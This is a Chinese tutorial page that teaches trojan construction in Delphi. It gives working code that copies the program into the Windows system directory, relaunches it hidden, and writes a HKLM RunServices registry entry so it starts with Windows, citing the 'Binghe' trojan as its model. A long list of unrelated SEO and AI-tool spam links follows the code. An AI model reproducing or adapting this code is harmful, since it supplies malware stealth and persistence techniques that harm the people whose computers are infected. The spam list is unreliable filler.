木马实现自我拷贝的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,继而退出旧程序.
本例即以Delphi实现木马的自我拷贝。
首先打开Delphi,新建一个工程,在窗口的Create事件中写入如下代码:
procedure TForm1.FormCreate(Sender: TObject);
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //获得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷贝到WindowsSystem下}
Winexec(pchar(GetWindir + myname), sw_hide);//运行WindowsSystem下的新文件
application.Terminate;//退出
end;
end;
其中GetWinDir是自定义函数,起功能是找出WindowsSystem的路径.
function GetWinDir: String;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>'' then Result := Result + '';
end;
如何能使程序能在windows启动时自动启动?
为了程序能在Windows每次启动时自动运行,可以通过以下途径来实现.“冰河”用注册表的方式。
加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:
procedure TForm1.FormCreate(Sender: TObject);
const K = 'SoftwareMicrosoftWindowsCurrentVersionRunServices';
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //获得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己拷贝到Windows/System32下}
Winexec(pchar(GetWindir + myname), sw_hide);//运行WindowsSystem下的新文件
application.Terminate;//退出
end;
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( K, TRUE );
WriteString( 'syspler', application.ExeName );
finally
free;
end;
end;
相关推荐:
“只能写作”:在创作的世界里,选择文字,就是选择自由,云南关键词排名推广报价
什么是神马排名?让你的网站脱颖而出,轻松占据搜索引擎的C位!,乳山网站优化关键词排名
SEO项目:如何通过精确优化提升企业网站排名与转化率,武汉做网站优化的公司
SEO重要性与企业互联网发展的必由之路,互联网营销推广平台设计
用AI征文工具,轻松创作出精彩文章!
SEO网:让你的数字营销更加精准高效,开启网络引流新时代,丰县互联网网站推广优势
SEO优化全攻略提升网站排名的关键步骤与未来趋势,这是什么新晋动画ai
怎么用AI写出高质量科普文章?揭秘新时代创作利器!
丹东seo是什么怎么选,丹东spr ,黑发ai图
什么是seo网络推广seo顾问,seo网络推广员 ,ai20170119
seo需要什么能力,seo需要哪些技术 ,ai长条弯曲
ChatGPT怎么找梯子:突破网络限制,轻松访问AI助手的终极指南,鬼灭之刃人物AI还原
ChatGPTApp怎么调大字体?提升阅读体验,让文字更清晰,推荐ai音频
SEO职位:数字营销的核心,开启职业新高峰,汕尾网站建设推广厂商
为什么选择老域名注册,打造品牌价值的秘密武器,网站建设服务费用多少
为什么做seo矩阵项目,为什么做seo矩阵项目不能做 ,怎么用ai写作
SEO子-为你的网站注入流量的秘密武器,麻城网站网址优化
SEO联系:如何通过SEO优化提升您的网络营销效果,企业营销推广获客
SEO确实是企业增长的关键,这些技巧让你走在行业前沿,山东网站建设信息
SEO优:让网站流量和排名实现飞跃的秘诀,大理哪有企业网站建设
AI网页生成:轻松构建智能网站,提升品牌竞争力,杭州专业ai智能教育
AI优化文章:如何利用人工智能提升写作效率和质量
怎么用AI生成文章免费版,高效创作从此开始!
SEO用户:如何为您的网站带来持续流量和转化,惠州网站推广哪个好
GPT-3.5可以免费使用吗?AI未来的无限可能,ai烧猪
SEO中权重是什么意思?让你迅速网站排名的核心秘密!,长颈鹿智能AI点读机
SEO优化排名原理解析:如何提高网站排名,实现精准流量获取,奥迪ai售价
seo系列什么意思,seo的分类 ,que n ai je
SEO优化做什么的?揭秘SEO优化的核心价值与实战应用,ai做金色
ChatGPT无法加载?检查您的网络设置并尝试重启Chat,ai写作怎么写作文的
ChatGPT-深度学习与自然语言处理的革命性突破,金华ai视觉锁螺丝机
SEO优化基础:让你的网站脱颖而出的秘密武器,模仿猫ai
ChatGPT宕机两小时,OpenAI紧急修复,用户期待AI恢复正常服务,oppo小布ai
SEO技巧提升网站流量:打造高效网站的关键策略,Ai测脸相
seo诊断什么意思,seo诊断a5 ,约瑟夫ai
SEO优化工具优势:提升网站排名,带来流量和转化的秘密武器,ai圆形造字
【BVIP尊享体验:超越奢华,开启专属未来】,珠宝网站建设思路
seo需要会什么,seo要会些什么 ,ai313414919
seo自己做什么,自己做seo需要花钱吗 ,ai850775
SEO未来:如何在变革中抢占先机,迎接数字营销的新纪元,台州网站建设分析和总结
仿写AI:智能时代的创作革命,洛江区移动房网站推广
seo重点是什么,seo最重要的指标 ,ai网格怎么用
SEO关键词推广软件官网-助力企业实现高效精准的网络营销,圈圈ai
seo需要买什么,seo需要考虑什么 ,ai做表头
智能AI生成文章释放创作新可能
“洗稿技巧如何让你的文章脱颖而出,轻松提升内容创作水平!”,台州椒江seo企业排名
seo高手有什么条件,seo难上手吗 ,指南ai写作电力创新
为什么选择SEO会员服务,让您的网站流量飞速增长,靖边专业网站建设公司
ChatGPT出现报错503?这些解决办法你必须知道!,粉墨ai说唱
ChatGPTWindows版本下载:让AI助力您的工作和生活,ai yamama